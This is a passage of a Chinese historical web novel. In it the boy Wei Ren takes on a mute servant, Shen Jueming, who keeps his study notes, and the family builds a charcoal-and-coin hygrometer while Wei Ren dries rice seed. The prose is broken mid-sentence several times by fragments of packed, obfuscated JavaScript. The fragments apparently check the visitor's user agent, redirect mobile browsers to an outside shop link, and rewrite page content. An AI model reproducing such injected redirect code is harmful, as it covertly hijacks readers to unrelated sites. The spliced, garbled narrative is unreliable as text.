l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108055|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途还回头,恶狠狠地对沈决明说:“你等着,我一定要和你角抵!” “大兄,你看前面的路!”眼见着韦世然转头的功夫就偏离方向朝着院墙冲过去,韦仁大声提醒。 目送韦世然安全跑出院门后,韦仁才重新走回沈决明身边,弯腰拍拍沈决明的肩膀:“你起来吧。” 沈决明站起身,脸上的神色很是平静,没有委屈,也没有愤怒。 韦仁抬头看着沈决明,深觉这孩子真是倒霉透了,若晚生个2000年,不知道会不会是个家喻户晓的武术冠军啥的,享受旁人的赞颂和羡慕。心念电转,韦仁又觉得,自己的运气也很一般,实在没有同情他人的资本。 韦仁反而心疼了自己一把,然后才对沈决明说:“我听说在铁官厂服役的人都很不好过,也不知道你经历过什么,不过,在外面,至少在我家,只有犯了很大的错,家僮才会给我阿翁阿母下跪,你以后不要随便跪了。” 沈决明的眼神闪了闪,随后,躬身对韦仁作了一个十分正规的揖礼。 沈决明的表情依然没有太多变化,韦仁却感觉到沈决明没那么紧绷了,便换了话题,说起自己的起居习惯:“我平日卯初起床,然后去上学,学馆申正放学,我一般还会在学馆里多待两刻钟。大兄的作息和我基本一致,不过他休沐时常常会出门去玩儿。” 韦仁指着挂在自己屋外的青铜风铃:“我不在家时,我的屋子只有毋忧会进去打扫,我若需要人帮忙,会拉响那些铃铛,一般谁在院子里听见了谁进来,要是没人我也会直接喊人。”说是这样说,韦仁也只遇见过一次这样的情况,反正,他觉得阿桂和毋忧都有顺风耳。 沈决明看着廊檐下的一排青铜风铃,点头表示明白,随即又有些疑惑。 韦仁看出来了,便问:“怎么了?” 沈决明有些迟疑地在空中比划了一个“风”字。 韦仁笑:“看到那些木条了吗?拉动绳子后,那些木条会移动,这是我未来姊夫设计的,若是风吹的,只有里面的铜球会撞击铃铛,若是人拉动的,那些铃铛会互相撞击,还会撞到后面的铜板,声音要大很多。” 沈决明好奇地又看了看那些铃铛。 韦仁等沈决明看够了,才带他走进自己的屋子,径直走到自己的书案旁:“你写几个小字给我看看。” 沈决明没有坐到蒲团上,而是与在沙坑时一般半跪在书案旁边。 沈决明双手在衣摆上摩挲了几下,将墨丸放进砚台,拿起研石开始磨墨,迅速磨好墨后,沈决明在韦仁的示意下拿了一支毛笔,在空白的竹简上一笔一划地写了“沈决明”三个字。 韦仁探头看着,有些失望地摸摸下巴:“沈决明,你这字可不咋地呀。” 韦仁此话一出,沈决明始终平静的表情第一次有了破碎的趋势,沈决明匆匆放下笔,起身后往远离书案的方向退开一步。 韦仁瞧着沈决明似要开口说话,不过最终沈决明的两片嘴唇也没有分开。韦仁这时才想起来,沈决明这几年都在铁官厂做苦力,应该也没什么机会摸笔,能写成这样已经不错了。 韦仁自然不会把这种猜测说出来,只安慰道:“不用不好意思,至少能看,我的字比你的还丑呢。而且,‘决明’真是个好名字,我很喜欢。” 面对突如其来的夸奖,沈决明十分困惑,只是耳朵尖的红色总算不那么艳了。 韦仁却已经坐到自己的蒲团上,对沈决明招招手,“过来坐,我有事要你做。” 10. 记笔记 韦仁拿起自己平时上课用的竹简,见沈决明站着不动,伸手指了指自己对面的蒲团,再次重复:“过来坐,我说,你帮我记笔记。” 韦仁会将每日学习的内容整理成笔记,可惜阿桂和毋忧都不会写字,韦仁之前是找梅乘帮忙的,如今沈决明来了,韦仁自然不会再去麻烦梅乘。 两个人的房间里只有一个人的声音,却没有丝毫的违和感,若有人在外面听,定不会觉得里面的人是在自言自语,反倒像是一个人在给另外一个人讲课。有时似乎是听课的人没有跟上进度,讲课的人会重复讲过的内容,那声音尽管稚嫩,却没有丝毫急躁,反而透着一股带有宽容意味的愉悦。 身在其中的沈决明恍惚以为自己重回到了启蒙的年岁——那个胡子花白的老头儿也是一个字一个字地给他讲解,却没有眼前这个白白嫩嫩的娃娃说得清楚细致。 韦仁伸手在沈决明眼前打了个不响的响指:“嘿,沈同学,回神了,这里要用冒号。”这时候的文章是没有标点符号的,大家学习文章前要先学句读,不过每个人做注解时也会有自己的习惯,韦仁就把上辈子那一套标点拿过来用了。 沈决明沉默着拿起韦仁的笔刀,将刚刚写下的“,”划去,改成“:”,看一眼韦仁,示意他继续,心中也不免喟叹,在青州时就听人说韦家的现任家主是远近闻名的大儒,没想到其家中连才识字的孩童都懂得这许多。 韦仁没有继续,反而伸了个懒腰:“我也累了,先休息一会儿吧。” 韦仁起身走到门边拉动绳子,不一会儿,听到铃铛声音的阿桂走了进来:“五郎君有何事吩咐?” “毋忧呢?” 阿桂顿了顿,回道:“我们之前都在湢室洒扫,他在打水,暂时腾不出手,五郎君有事与我说也是一样的。” 韦仁很怀疑,不过还是说了:“我饿了。” 果然,阿桂平静的表情瞬间化为一滩苦水,咧着嘴,阿桂硬是挤出一抹笑容:“再有不到一个时辰就该用午食了,糖糕之类的……就算我去要,东厨那边恐怕也不会给。”阿桂劝道,“五郎君,我给你拿些果干来可好?” 韦仁和阿桂大眼瞪小眼对视了好一会儿,知道阿桂打定主意不肯这时候给他拿点心,只得应了:“行吧。对了,我大兄呢?”怎么一去不复返了? 阿桂不着痕迹地瞄一眼静立在书案旁的沈决明,与韦仁解释:“两刻钟前,夫人和四郎君一起过来,听见你们在读书,夫人就带着四郎君离开了。” “知道了。” 等阿桂送来果干,韦仁坐在矮榻上,抓了一把红枣干递向沈决明:“给你吃。”说着,韦仁直接往沈决明手里塞,沈决明只得接了。 然后,韦仁就直勾勾地盯着沈决明,韦仁盯了许久,久到眼睛发干必须眨眼缓和时,沈决明仍然僵立着不动。 韦仁便往自己嘴里塞了一颗红枣干,一边咀嚼,一边继续盯着沈决明。 可能是因为韦仁表现出了足够的耐心,也可能是因为韦仁的眼神太有力量了,沈决明最终从手掌中捻起一颗枣干放到嘴里。枣干被塞进嘴里前,沈决明隐约闻到了一丝梨花香。 韦仁见沈决明吃了,问道:“好吃吧?裹了蜂蜜的。” 沈决明鼓着一边的腮帮子,点了点头。 韦仁磨搓手指,将指尖上的糖屑抹掉后,说道:“这次不算,以后,如厕后和吃东西前都要洗手,不然我就打你手板。” 这次不仅耳朵,沈决明的脸也腾得一下子烧着了,嘴里的枣干似乎也变了味道,沈决明一时竟不知道要不要把嘴里的枣干吐出来。 韦仁大笑:“说笑的。不过,病从口入,我看你身体也不太好的样子,一定要记得多洗手。”嗯,韦仁是不会承认他塞完枣子才想起卫生问题的。 说完,不等沈决明再有什么反应,韦仁马上转移了话题:“阿母应该是同意让你教我大兄角抵了,不知道我大兄想什么时候找你玩儿……总之,休沐时不算,平日里用完晚食后的半个时辰,你得来帮我做笔记。” 听到韦仁开始说正事,沈决明的脸色好了一些,点头表示自己记住了。 韦仁想到沈决明一来就帮自己干活儿,自己对他还没什么了解,就问:“沈决明,你有什么需要我们注意或者避讳的地方没有?” 沈决明面露不解,没听说过主人家需要避讳奴仆的。 “这个院子里大多数时候就四个人,我大兄、我、阿桂和毋忧,我的要求都与你说了,我大兄脾气其实挺好的,只是讨厌别人背后告他的状。阿桂特别怕猫和老鼠,见着会尖叫着逃跑,毋忧不能吃鸡蛋,一吃就浑身起疹子。”韦仁再次问道,“沈决明,你呢?” 沈决明的嘴角似乎抽了抽,不过最终仍是什么也没“说”。 韦仁等了半晌,也不见沈决明有什么表示,问道:“没有?” 沈决明摇摇头。 韦仁盯着沈决明,一直把沈决明盯得别开了视线,韦仁没有再次追问,只淡淡地说:“那就好。” 用午食时,赵氏问起韦仁给沈决明讲课的事:“五郎,你怎么给人做起先生了?”赵氏一方面是好奇,一方面也担心二儿子年纪小,被沈决明哄骗了。 韦仁正专注地从萝卜羊肉汤里往外挑枸杞,听到赵氏问话,停住筷子,解释道:“阿母,我那是在温习,顺便让沈决明帮我记笔记。” “温习?怎么说?”赵氏从没听说过,有人通过给别人讲课来温习知识的。 韦仁的余光扫到韦世然,发现自己疏忽了,便十分仔细地解释这种学习方法:“我听过戚先生给其他同窗讲《论语》,比阿翁讲得有意思,但偶尔与我说起《诗经》时却又不如阿翁。” 韦仁一句话,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108056|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韦玄成的脸说得晴转阴,又由阴转多云,韦仁心下偷乐,脸上一本正经地继续说:“戚先生讲的东西我基本都能记住,但被考教时,我仍会漏掉一些知识,那时候戚先生再给我讲解,又会比在课上增加些其他内容。” 韦玄成似有所感:“温故而知新。” 韦仁跟着点头:“我就想这是为什么呢?”韦仁自问自答,“因为戚先生给许多人讲过《论语》,一遍又一遍,所以他对《论语》特别熟悉。同样的,我把学到的知识讲给别人听,哪里有错漏哪里就是我没学好的地方。若听我讲解的人有哪里不明白,我就要给他讲明白,讲完后我就觉得自己记得更加牢固了,若讲不明白,就证明我只是记住了戚先生的话,却没有真的理解,那就还要再请教先生。” 赵氏、韦元茹和韦世然对于韦仁说的话还在思索,既是学生又是先生的韦玄成却已经品味出韦仁说的这种学习方法的好处,眼神柔和地看着二儿子:“五郎,把你那碗汤端过来。” 韦仁双手护住漆碗,警惕道:“做什么?” 韦玄成气笑:“听你说得不错,还想帮你挑枸杞,算了,你自己挑吧。” 韦仁根本不领情,重新捡起筷子挑枸杞,抱怨道:“都说了我不喜欢枸杞,你还让厨娘一定要放。”放就放吧,还放那么多,小孩子不能多吃的好不好? 韦玄成只当没听到,韦仁自小体弱,让韦仁隔段时间就吃一点枸杞是梅先生出的主意,结果韦仁每次都会挑出来大半。也因为韦仁总这样挑拣,韦玄成担心他吃得不够,就会嘱咐厨娘多放一些枸杞,整个一恶性循环。 韦玄成看向韦世然:“五郎说的方法你可听明白了?你也照着做一段时间,试试看,对你的功课应是有益的。”韦玄成对于韦仁的课业进度还是了解的,原先只以为他在家里读过很长一段时间的《仓颉篇》,所以学得格外快,现在看来,聪明的孩子果然都自有其不同于其他孩童之处。 韦世然觉得按照韦仁的方法,他的学习时间要多出许多,但亲爹发话,他也不敢不听,只得不甘不愿地应了,随后立马转头问韦仁:“你自己的笔记为什么要沈决明给你记?” 韦仁看傻子一样看向自家大兄:“我又不会写小字,还有好多字不会写,不让沈决明给我记,大兄,你要帮我记吗?” 韦世然立马闭嘴。 赵氏看着两个儿子友好交流完才对韦仁说:“五郎,你可喜欢与沈决明相处?” “还行。他很能干,话也不多。”会写字、会武艺,年龄也不大,在这个时代,已经能算是高技术人才,韦仁都忍不住周扒皮地想,十年的僮约实在短了。 “什么叫话不多,他本来也不会说话呀。” 见韦世然质疑自己的眼光,韦仁不服:“大兄,你信不信,就算他会说话,也不会比我话多。” 韦世然:…… 11. 麻雀 赵氏哭笑不得,将话题拉回来:“好了,知道你话多,我是想问问你,若你觉得沈决明不错,你以后出门暂且让他跟在你身边,可好?” 韦仁没什么意见,只是确认道:“那沈决明就是我的人了?” 赵氏愣了一下才颔首道:“对,他是你的人了。” 韦仁这才点头,然后问道:“长幼有序,大兄身边也要配个人吧?” 不用赵氏说,韦世然已经开口:“阿母说了,以后石岩跟着我。”石岩就是日常给韦家兄弟赶车的石大郎的大儿子。 韦仁“嗯”了一声,评价道:“石岩不错,阿母的眼光就是好。” 韦元茹对二弟这见缝插针拍父母马屁的做派见惯不怪,仍忍不住问了一句:“五郎,你才见过石岩几次,你说说,石岩怎么不错了?” 韦仁喝完碗里的汤,才回答韦元茹的问题:“见过七、八次吧,他对我挺耐心的。” 韦元茹没想到韦仁真报出次数:“真的假的?” “真的。”韦仁想了想,补充了一个反面教材,“君和从姊身边那个罗裳就没什么耐心。”别以为家僮天然就会对主人家恭敬有礼,都不用扯到别人家的家僮,韦仁说话不利索被当成傻子时,家里不知道多少僮仆怠慢过他。 韦世然对罗裳没太多意见,只说:“君和从姊喜欢教训人,大姊也喜欢,但我不讨厌大姊。”韦世然也说不清,但他直觉韦君和教训他和韦元茹教训他不太一样。 韦元茹差点儿被嘴里的饭呛到,勉强咽下去后才“呵呵”两声:“我谢谢你不讨厌我。” 韦世然“嘿嘿”笑:“最好还是不要教训我的,我这么乖。” 赵氏笑骂:“阿郎,管管你的两个儿子,过几日咱们几家可是要一起过上巳节的,别到时候再闹出什么笑话。” 夫人吩咐,韦玄成立马做出严肃的表情,开始教训两个儿子。 先说韦世然:“纵然他人行事有不当的地方,你心里明白就好,不要在背后议论。”然后说韦仁,“你也是,有理讲理,就算对方没理,作为郎君,你也不能捉弄女娘。” 韦世然瘪瘪嘴,在韦玄成的盯视下不甘不愿地应了一声:“是。” 韦仁和韦玄成一对上视线,就明白韦玄成说的“捉弄”是什么意思——他曾经把一只椿象拍死在韦君和的裙摆上。据说,韦君和那天沐浴时用掉了整整一瓶香药。 韦仁很无辜:“那次是不小心的。” 对于椿象事件,大部分人都相信韦仁是无意的,但显然,时不时被二儿子讹的韦玄成是不信的。 “不要以为别人都是傻的。”韦玄成提点韦仁,“你也进学了,若与从姊闹得不好看,别人可不会再说你是年幼淘气,该质疑你的品性了。” 韦仁只好说:“我知道,不会让人抓住错处的。” 用过午食、睡过午觉后,韦仁又花了两刻钟,才让沈决明帮他记完笔记。 待韦仁将今日的大字也写完后,木匠帮他打造的用来种植稻米的木桶被送来了,十个足有三尺高的大木桶被排成两排安置在院墙边。 家里人都跟过来看热闹,见韦仁扒着木桶边缘,使劲踮脚尖往里看的模样都差点儿笑得肚痛。 韦玄成问韦仁:“怎么样?够你种稻米的了吧?” 凡愿建议在清明之前下种,韦仁算了下时间,转头看向韦玄成和赵氏:“我还缺土、麻布、竹编簸箕、秸秆、肥——” “停停停。”韦玄成举起一只手,示意韦仁打住,“五郎,你不能一会儿一个主意,好好看一看你凡师伯给你的竹简,把需要的东西都列出来,我们一并帮你准备。” “好,我一会儿写下来。”说完,韦仁抬头看天,除了被午后的阳光晃得眼睛疼外,什么都没看出来。韦仁赶忙挪开视线,转而看向韦玄成,“阿翁,之后几天不会下雨吧?我要晒稻种了。” 韦玄成也眯着眼看了看天,没有直接回答韦仁,而是说:“索性现在无事,我教给你们一个预测是不是要下雨的办法。” 一刻钟后,僮奴抬着一架两尺高的天平来到君子院。 韦玄成一边调试天平,一边与姊弟三人解释:“在天平两端放上一样重的炭块和五铢钱,就这样,不用管它,你们每隔一段时间过来看看,若放炭的这边下沉,就有可能下雨。” 韦元茹和韦世然都不明所以,看着保持平衡的天平,疑惑问道:“阿翁,两边不是一样重吗?天平怎么会动呢?” “先自己想,若谁能看出其中的关窍,这些五铢钱就归谁。” 韦元茹不缺钱,还比较矜持,只站在旁边打量。 韦仁同样站在一旁没有动,只是心中已经赞叹起老祖宗们的智慧,这就是利用炭的吸水性比铜的吸水性强的原理制造的湿度计啊——若要下雨,空气中的湿度会增高,炭的质量就会增加,天平自然会倾斜。 韦世然这时已经围着天平走了两圈半,就在韦仁正在回忆自己以前还有没有看过其他关于湿度计的记载,韦世然突然站定,看向韦玄成。 韦玄成扬扬眉,饶有兴趣地问道:“这么快就想到了?” 韦世然挠挠耳垂,过了灵光一闪的那个兴奋劲儿,韦世然后知后觉自己想到的事似乎也不算答案,就有些犹豫。 “说来听听,这里又没有外人,说错也没人笑你。” “阿翁与我说过,若某一日琴音变低变闷,就是要下雨了,要将琴收入琴囊中,不然琴会受潮。”将想法说出来,韦世然的思路随之顺畅,继续说道,“下雨时,琴会受潮,受潮后,琴音有变化,同样的,其他东西受潮后是不是也会变?你刚刚说,若要下雨了,炭块这边会沉下去,是不是因为炭块受潮就会变重?” 韦玄成心下喜悦,嘴上故意问道:“炭块这边沉下去,也可能是因为五铢钱那边变轻了,你怎么只想到炭块受潮变重这一种可能?” 韦世然一愣,疑惑道:“五铢就是五铢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108057|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么会变轻?” 韦玄成摇摇头,目光沉凝地盯着韦世然,似有所指地说:“你再想想,五铢钱真的不会变轻吗?” 被韦玄成这样一问,韦世然一时又不敢肯定了,正犹豫着,赵氏已经在一旁嗔道:“别逗弄四郎,若五铢钱变轻,这世道可又要乱了。” 韦玄成瞬间变脸,教育自家儿子:“看到没?比起你阿母,你还差得远呢。四郎,别人随便问一问你,你就改变自己的想法,这可不行。” 韦世然反应过来自己被亲爹耍了,腮帮子吹气一般鼓起来:“阿翁又不是‘别人’。” 韦玄成伸手戳戳韦世然的腮帮子,笑眯眯地安抚道:“好了,那些钱是你的了。你可以再想一想,为什么快下雨前炭块儿会变重,若能想出来,我再……噢,不,你阿母再奖励你双倍的钱。”韦玄成回头看向赵氏,讨好地问,“夫人,可以的吧?” 赵氏没好气地翻了个白眼,以为她不知道他有偷偷藏私房呢! 听到可能还有更多的奖励,韦世然那没被自家亲爹戳破的腮帮子瞬间平顺下去,欢快地应道:“好!” 韦仁这时也想起重要的事,举起手,见全家人都看向自己,韦仁的眼睛却独独看向赵氏:“阿母,我都进学了,是不是也可以领月钱了?我这个月的月钱呢?” 赵氏:…… 虽然她从来看不上那些自诩清高的读书人,但像自家这三个满嘴都是钱的男人也很让她的手心发痒啊! 睡觉前,韦仁最后一次确认天平没有向着炭块那一方倾斜,第二日,韦仁便久违地起了个大早。 洗漱完毕后,韦仁端着一簸箕的稻种满院子乱转,决心一定要选个风水宝地晒种子。 好不容易选定地方后,韦仁又觉得把簸箕直接放在地上委屈了稻种,转头看向站在廊檐下看似无所事事,其实是有些无所适从的沈决明,指挥道:“沈决明,你把我榻上那个矮案搬出来。” 将簸箕放在矮案上,韦仁看着才顺眼些,一仰脖子,入眼是深蓝色的天空以及悬挂其中的点点星辰。韦仁的眼珠子转到右侧,见廊檐上的风铃在轻微晃动,韦仁又有些担心老天爷会突然翻脸。 脖子转了一圈儿,韦仁再次叮嘱沈决明:“今天应该是个大晴天,就怕突然刮大风,你一定帮我看好这些稻种。” 沈决明正欲点头,耳尖动了动,沈决明忽地扬起头,他看的不是天空,而是远处院墙。 韦仁注意到沈决明的动作,顺着他的视线看过去,眯着眼睛找了一会儿才意识到沈决明看的东西——两只麻雀正在院墙上蹦蹦跳跳,十分欢快的样子。 韦仁也只愣了一下,随即便问:“沈决明,给你弹弓,你能把它们打下来吗?” 谁想只这一句问话的功夫,廊檐这边也响起了叽喳声,韦仁扬头看过去,好啊,两只变成四只了! 这增长速度看得韦仁一阵牙疼,许久没亲自打理过作物,真是忘了这些“家贼”! 12. 肥一 不怕贼偷就怕贼惦记,韦仁也不打算把压力给到沈决明了,可是现在又来不及做防鸟网和稻草人…… 韦仁皱着眉头在原地转了三圈儿,总算想起一个办法:“有了!”扫一眼院子,看到毋忧正拿着扫帚把沙坑外的沙子往沙坑里扫,韦仁扬声喊道,“毋忧,一会儿再扫,你先去东厨找鸡毛,能找到多少就拿多少过来!” 毋忧被这个要求弄得错愕,不过没有多问,放下扫帚就出了院子。 韦仁看向沈决明,问道:“你搬得动那些木桶吗?”见沈决明毫不迟疑地点头,韦仁冲着摆放木桶的方向扬了扬下巴,“那你帮我搬两个木桶过来。” 韦仁自己则回屋子翻箱倒柜,最后找出三根素绢绦带和六个空荷囊。 韦仁将六个荷囊盛满沙子后,沈决明已经按照他的要求将两个木桶放在矮案两侧,韦仁拿着绦带在两桶中间比了比,见长度足够,总算满意地点了头。 韦世然今天难得比弟弟起得晚,这时才刚刚洗漱完,被韦仁这边的动静吸引,走过来打听:“五郎,你干什么呢?不就是晒种子,有这么麻烦?” “晒种不麻烦,但要防着鸟雀飞下来偷吃,没人能时时刻刻盯着,我得做个东西吓唬它们,让它们不敢下来偷吃。” “鸟会吃种子呀?它们不是吃虫子吗?”韦世然给韦仁出主意,“鸟的胆子小,有人来就会飞走,你可以把这些种子放去正院,那里总有人的。” “现在能送去,但之后播种一样要防鸟,总要解决它们。”韦仁甩甩手里的绦带,“我用带子绑些鸡毛挂在稻谷上面,有风吹过时,那些毛一动,鸟会以为下面都是被我挂起来的死鸟,知道这里有危险,它们就不敢过来了。” 韦世然站在鸟的立场想象了一下那个场面,看向自家弟弟的眼神都变了:“五郎,我突然发现,你有点儿吓人。” 韦仁不以为然:“对待敌人就是要像秋风扫落叶一样无情。” “什么敌人?” 韦仁板着面孔回答:“阻碍我实现大米饭自由的都是敌人。” 韦世然听不懂,只是开始在心里偷偷考虑,自己以后是不是应该少吃些大米饭,反正他喜欢饼,也不讨厌粟米。 好吧,不止韦世然,连同跟过来看热闹的阿桂以及取了整整一篮子鸡毛的毋忧都体会到了韦仁对这些稻米的执念,并决定,以后若没什么事,都要离这些稻米远远的。 尽管心中挂念着稻种,韦仁在用完早食后还是按时坐上了送他去上学的牛车,不同于以往的是,这次送他和韦世然去上学的人又多了两个,沈决明和石岩。 沈决明和石岩跟在牛车后面,由石岩赶着骡车,车上码放着三个韦仁用来种植水稻的木桶和一些工具——这二人是为了去城外给韦仁运土回来的。 韦仁还没出过城,也不知道这一来一回需要多少时间,就问前面赶车的石大郎:“石大叔,石岩他们几天能装完?” “五郎君放心,今天十个桶保准都能装满。” 石岩也不过16岁,使唤俩童工给自己干活儿,韦仁也不好意思让他们太劳累,提醒道:“很赶的话也不用太着急,不差这一日两日的。还有,我已经用了两个桶,但我要十个桶的土。” 石大郎也没打听怎么突然就少了两个桶的事,只说:“没问题,多出的土,可以用竹筐盛。”不用韦仁追问,石大郎接着说,“肥的事我也记得,送完你们后,我会出城,五郎君要的肥少,牧场那边肯定有。”韦仁只要半石肥,若不是韦仁点名要羊粪,家里牲畜棚的就够了。 韦仁听石大郎有条有理地安排,十分满意,笑着说:“那就辛苦你们了。” 石大郎笑呵呵地:“哪里当得上五郎君说一句辛苦,五郎君放心,不会耽误你的事的。” 石岩能跟在韦世然身边,石大郎心里十分欢喜,这不仅说明家主和夫人看重他家,只要石岩不做出什么大的错事,韦家以后的管事必然会是石岩。家里的两位郎君,石家自然也更看重身为长子的韦世然,但与韦仁有关的事,石大郎也是不敢怠慢的。 韦仁上学那日,石大郎就被石伯叮嘱:“你接送四郎君上下学三年,没有出过纰漏,这很好。现在五郎君也要上学了,四郎君为长,你与他也熟悉,但你对两位郎君的态度一定不能分出高低来,懂吗?” 石大郎自来稳重,不过,他明白父亲会特意叮嘱他这些话,必然有其道理,便郑重应下:“我不会因为五郎君年纪小就看轻他。” 石伯对大儿子还是比较放心的,但仍然点了他一句:“胡蔗为何被调去了竹园?” 石大郎心下一动,问道:“难道是因为得罪了五郎君?” “胡蔗最早就在君子院服侍四郎君,五郎君迁去三个月,胡蔗就被调走了。”石伯卖了个关子,“你道胡蔗服侍的好好的,家主和夫人为何突然向五郎君问起他?” 石大郎按照常理猜测道:“五郎君不满意他,向家主和夫人告状了?” “没有。只是,最后那小半个月,哪怕阿桂不在,五郎君也未让胡蔗沾手过他的事,像是去东厨取果脯这种事,五郎君都是自己去的。” 事情听起来很小,但韦家有两个地方是严禁韦元茹姊弟三人靠近的,至少在赵氏认为他们可以之前,是不许的——一个是井边,一个就是厨房。 石大郎十分疑惑:“且不说胡蔗敢不敢放任五郎君自己去厨房,五郎君自己也没必要亲自跑腿儿啊。” 石伯眯起眼睛,似是在回忆当时的情景:“有三次,五郎君先于四郎君吩咐胡蔗做事,不知胡蔗怎么想的,中途反而转去先办了四郎君的事,有一次还把五郎君要的东西先送去了四郎君那里。’” 石大郎“嘶”了一声:“这……五郎君的脾气不小啊。”平时可看不出来。 “‘三次’可不是什么虚词,五郎君把那三次的时间和事情都说得清楚明白。他若第一次就发作了胡蔗,我也不觉有什么,但他愣是等胡蔗犯了三次错,才与他算账!” 韦仁当时被赵氏和韦玄成问胡蔗的事,就掰着手指头给二人历数胡蔗的“三宗罪”:“大兄为长,我退让一二也是应该的,可我不喜欢胡蔗擅自替我做主。我之前也想与阿母告状来着,后来想想也就算了,他能被遣来君子院,至少人应该是可靠的。我不喜欢他,不用他便是,反正还有阿桂在,也碍不了我的事。” 石伯如今想起韦仁笑嘻嘻掰着手指头的样子还有些心惊肉跳:“你仔细品品五郎君的话,他先说谦让兄长,再说尊重父母安排家事,最后竟是他不争不抢,甘受委屈了。”明明是韦仁心眼儿小,爱记仇,看不惯胡蔗怠慢他! “五郎君自幼体弱,夫人本就心疼他,怎么会让他受委屈?加上厌恶胡蔗那般做派恐伤了他们兄弟的感情,夫人便把胡蔗调去了竹园。” “五郎君才多大呀。”石大郎咧咧嘴,想起一事,顺势问了,“夫人后来怎么选中毋忧的?”阿桂和胡蔗的父母都在韦家做事,毋忧却是早几年被买进来的,单蹦一个人,之前不过在牲畜棚做杂活儿,不想一朝之间就进了君子院,不知惊掉多少人的下巴。 石伯撩起眼皮看向石大郎:“毋忧是五郎君自己选的。”石伯点点自己的胸口,“我告诉你,栽在五郎君手里的可不止胡蔗一人,因为五郎君得了实惠的也不止一个毋忧。家里这么些人,谁对他恭敬、谁怠慢他,五郎君心里有数。” 石大郎忽然觉得后背凉飕飕的,缓缓吐出一口气,石大郎慎重地说:“阿翁放心,我一定对两位郎君恭敬。” 韦仁不知道石大郎对他存在“阴影”,决心一定把他吩咐的事以最快的速度办得妥妥贴贴,见石大郎事事清楚明白,便将稻种暂时放在一边,开始收束思绪,想些课业方面的事情。 因为见不到真正的腥风血雨,学馆里的学生那颗被先帝和皇帝的八卦挑动的心已归于平静,戚先生顺势做了一次小测验,不少人都被训了。 坐在韦仁身边的熊大宝倒是没被训,但他依然十分沮丧,因为他和韦仁最初听的课程是一样的,可不知不觉,韦仁就把他甩下一大截。 看着津津有味摆弄着算筹的韦仁,熊大宝特别不能理解:“韦仁,你怎么这么喜欢学习?” 等了半晌,没等来韦仁的回应,熊大宝忍不住伸出手指戳了戳韦仁,结果韦仁还是没反应。 被同桌这样忽视,熊大宝感觉自己受到双重打击,抿了抿唇,熊大宝深呼吸——吸得不是十分顺畅,总之,经历了一番心理建设,熊大宝再次伸出手指戳了戳韦仁的手臂,这次用了双倍的力气,音量也提高许多:“韦仁!” 韦仁被熊大宝的叫声吓了一跳,手一哆嗦,算筹掉到桌上,发出一声轻响。韦仁唰地转过脑袋,没好气地瞪着熊大宝:“干嘛?” “你怎么这么喜欢学习?” 韦仁被熊大宝问得纳闷:“我是不讨厌学习,怎么了?” 熊大宝心里各种念头很多,也很杂乱,最后,只好把其中最明晰的想法讲出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我养的狗,它一整天不是吃就是睡,最开始我还以为它病了,但它一直吃很多,我阿母说,能吃就是没事。” 韦仁翻了个白眼:“但凡你这话是对另外一个人说的,你肯定会被揍。” “为什么?大黄是我最好的朋友,我觉得,你也不差。”熊大宝很真诚。 “我谢谢你。” 熊大宝嘿嘿笑:“那说好了,以后午食后,你教我筹算,我给你带好吃的。” 韦仁没拒绝“束脩”,还规范了提问的时长:“每天给你两刻钟的提问时间。”午睡是一定不能耽误的。 韦仁放学后帮戚先生架胡瓜支架时便与戚先生说了这件事,戚先生几乎每天中午都会给韦仁开小灶,韦仁有事,自然要知会戚先生。 戚先生很喜欢学生们互相探讨学问,而且戚先生也已经发现韦仁不是很亲近同窗,见他和熊大宝相处融洽,戚先生也为韦仁高兴,鼓励道:“你好好与熊大宝讲,若哪里有不明白的,只管来问我。” “好。” 韦仁与戚先生说他种水稻的事,戚先生也知道稻米,但不知道怎么种,听韦仁得吧得吧地给他讲水稻种植的步骤,很是新奇。 “我还是第一次听到有作物是这样种的。”戚先生提醒韦仁,“你不防把每日种植的情况都记下来,是种好了还是种坏了,总有个查寻的凭据。” 韦仁深觉有理,毕竟他的水稻种植知识除了凡愿提供的竹简就是上辈子看来的,再多的,他也没地方查找,只能自己摸索。韦仁诚心实意地与戚先生道谢:“谢谢先生指点,我会好好记下来的。” 韦仁之后又说了今天准备铺基肥的事,还与戚先生推荐羊粪肥:“听说很好用的。”种水稻不知道好不好,种花种菜都是极好的。 戚先生笑眯眯地应了,但完全不打算照着做,多臭啊! 戚先生提醒韦仁:“我读《富国》时也看到过‘多粪肥田’的说法,不过凡事过犹不及,我虽不大通农事,也听说过,若用量不当,恐会烧坏庄稼,也易生虫,庄稼地产量反而下降。” 至于到底多少算多,韦仁和戚先生还讨论了一番,二人半斤八两,都不能十分肯定。不过,韦仁也不太在意,厩肥毕竟不是化肥,多点儿少点儿影响应该不会很大。 